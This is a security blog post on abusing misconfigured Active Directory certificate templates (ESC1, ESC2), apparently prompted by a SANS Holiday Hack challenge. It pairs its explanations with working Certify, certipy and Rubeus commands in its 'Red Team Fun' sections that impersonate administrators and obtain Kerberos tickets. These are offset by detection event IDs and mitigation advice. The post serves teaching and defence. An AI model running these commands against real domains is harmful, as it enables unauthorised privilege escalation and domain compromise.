MS PKI Logo

TLDR;

Last years Kringlecon otherwise known as the SANS HolidayHack Challenge had an interesting Windows Domain Escalation. This year, the attack centered around abusing misconfigured certificate templates. We had not come across this method of escaltion before, it required some research and we overcome the challenge.

This blog post aims to highlight the weaknesses and challenges of such an attack and how the vulenrability may exist in your domain.

Certificate Templates

AD Enterprises use Certiifcate Authorities (CA) to issue certificates with predefined templates. These collate predefined settings, policies and other object settings. An AD certificate template objects attributes contain a security descriptor which controls what principals can enroll in the certificates or edit the template. The PKIExtendedKeyUsage attribute contains an array of OIDs. These EKU OIODs effect what the certificate can be used for:

  • Encrypting the FileSystem
  • Code Signing
  • Smartcard logon
  • Client Authentication
  • and more …

ESC1 - Misconfigured Certificate Template

Explanation

This is often enabled, for example, to allow products or deployment services to generate HTTPS certificates or host certificates on the fly. Or because of lack of knowledge.

  • The Enterprise CA grants low-privileged users enrolment rights
  • Manager approval is disabled
  • No authorized signatures are required
  • An overly permissive certificate template security descriptor grants certificate enrolment rights to low-privileged users
  • The certificate template defines EKUs that enable authentication:
    • Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).
  • The certificate template allows requesters to specify a subjectAltName in the CSR:
    • AD will use the identity specified by a certificate’s subjectAltName (SAN) field if it is present. Consequently, if a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is present, a requester can specify the SAN.

Red Team Fun

To find vulnerable certificate templates you can run:

Certify.exe find /vulnerable
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128

To abuse this vulnerability to impersonate an administrator one could run:

Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

Then you can transform the generated certificate to .pfx format and use it to authenticate using Rubeus or certipy again:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

The Windows binaries “Certreq.exe” & “Certutil.exe” can be abused to generate the PFX:

Example from SANS HHC:

Certify

Blue Team Monitoring

When building this scenario in our test domain, we struggled to pick out any relevant events from the event logs in our centralised logging system and from sysmon.

Hitting the books we found this research paper from Specterops

  • Certified Pre-Owned It has a nice detection and preventation walkthough towards the end of the docuemnt in additiona to a write up on attack patterns.

To detect this attack you would want to monitor the following event IDs:

  • 4886 - Certificate Services Recieved a Request
  • 4887 - Certificates Services approved a request and issued a certifcate and dont forget to monitor
  • Subject Alternative Names includes UPNs!

ESC2 - Misconfigured Certificate Templates

Explanation

The second abuse scenario is a variation of the first one:

  • The Enterprise CA grants low-privileged users enrollment rights.
  • Manager approval is disabled.
  • No authorized signatures are required.
  • An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.
  • The certificate template defines the Any Purpose EKU or no EKU. The Any Purpose EKU allows an attacker to get a certificate for any purpose like client authentication, server authentication, code signing, etc. The same technique as for ESC3 can be used to abuse this.

A certificate with no EKUs — a subordinate CA certificate —  can be abused for any purpose as well but could also use it to sign new certificates. As such, using a subordinate CA certificate, an attacker could specify arbitrary EKUs or fields in the new certificates.

However, if the subordinate CA is not trusted by the NTAuthCertificates object (which it won’t be by default), the attacker cannot create new certificates that will work for domain authentication. Still, the attacker can create new certificates with any EKU and arbitrary certificate values, of which there’s plenty the attacker could potentially abuse.

The following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate templates matching this scenario:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Red Team Fun

# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Enterprise CAs can constrain the users who can obtain an enrollment agent certificate, the templates enrollment agents can enroll in, and which accounts the enrollment agent can act on behalf of by opening certsrc.msc snap-in -> right clicking on the CA -> clicking Properties -> navigating to the “Enrollment Agents” tab.

However, the default CA setting is “Do not restrict enrollment agents”. Even when administrators enable “Restrict enrollment agents”, the default setting is extremely permissive, allowing Everyone access enroll in all templates as anyone.

Blue Team Monitoring

Recall that both Kerberos (via PKINIT) and SChannel support certificate-based authentication. Some environments rarely use these authentication protocols (particularly SChannel). As such, monitoring for logon events using these protocols can detect abnormal activity in the environment.

  • For Kerberos, when a user authenticates with a certificate, the DC generates Event ID 4768

When a client authenticates using SChannel, the DC can generate various events. By default (i.e., the CertificateMappingMethods registry key is not set) the DC will attempt to obtain information about the account specified in the certificate using S4U2Self.

  • During this process it will first create Event ID 4769
  • The DC will then create EID 4648 “A logon was attempted using explicit credentials”
  • Assuming the S4U2Self process completes successfully, the DC will generate Event ID 4624 “An account successfully logged on”

Blue Team Summary

While researching why this vulenrability may have come about within the organisation, we came across this most execllent blog post from September 2020:

We highly recommend you read the above blog post, for a clear understanding of how easily certificates services can be misconfigured.

Summary of Event IDs:

Monitor these Events:

  • 4886
  • 4887
  • 4768
  • 4769
  • 4624 & Logon Process: Schannel

References

Share on: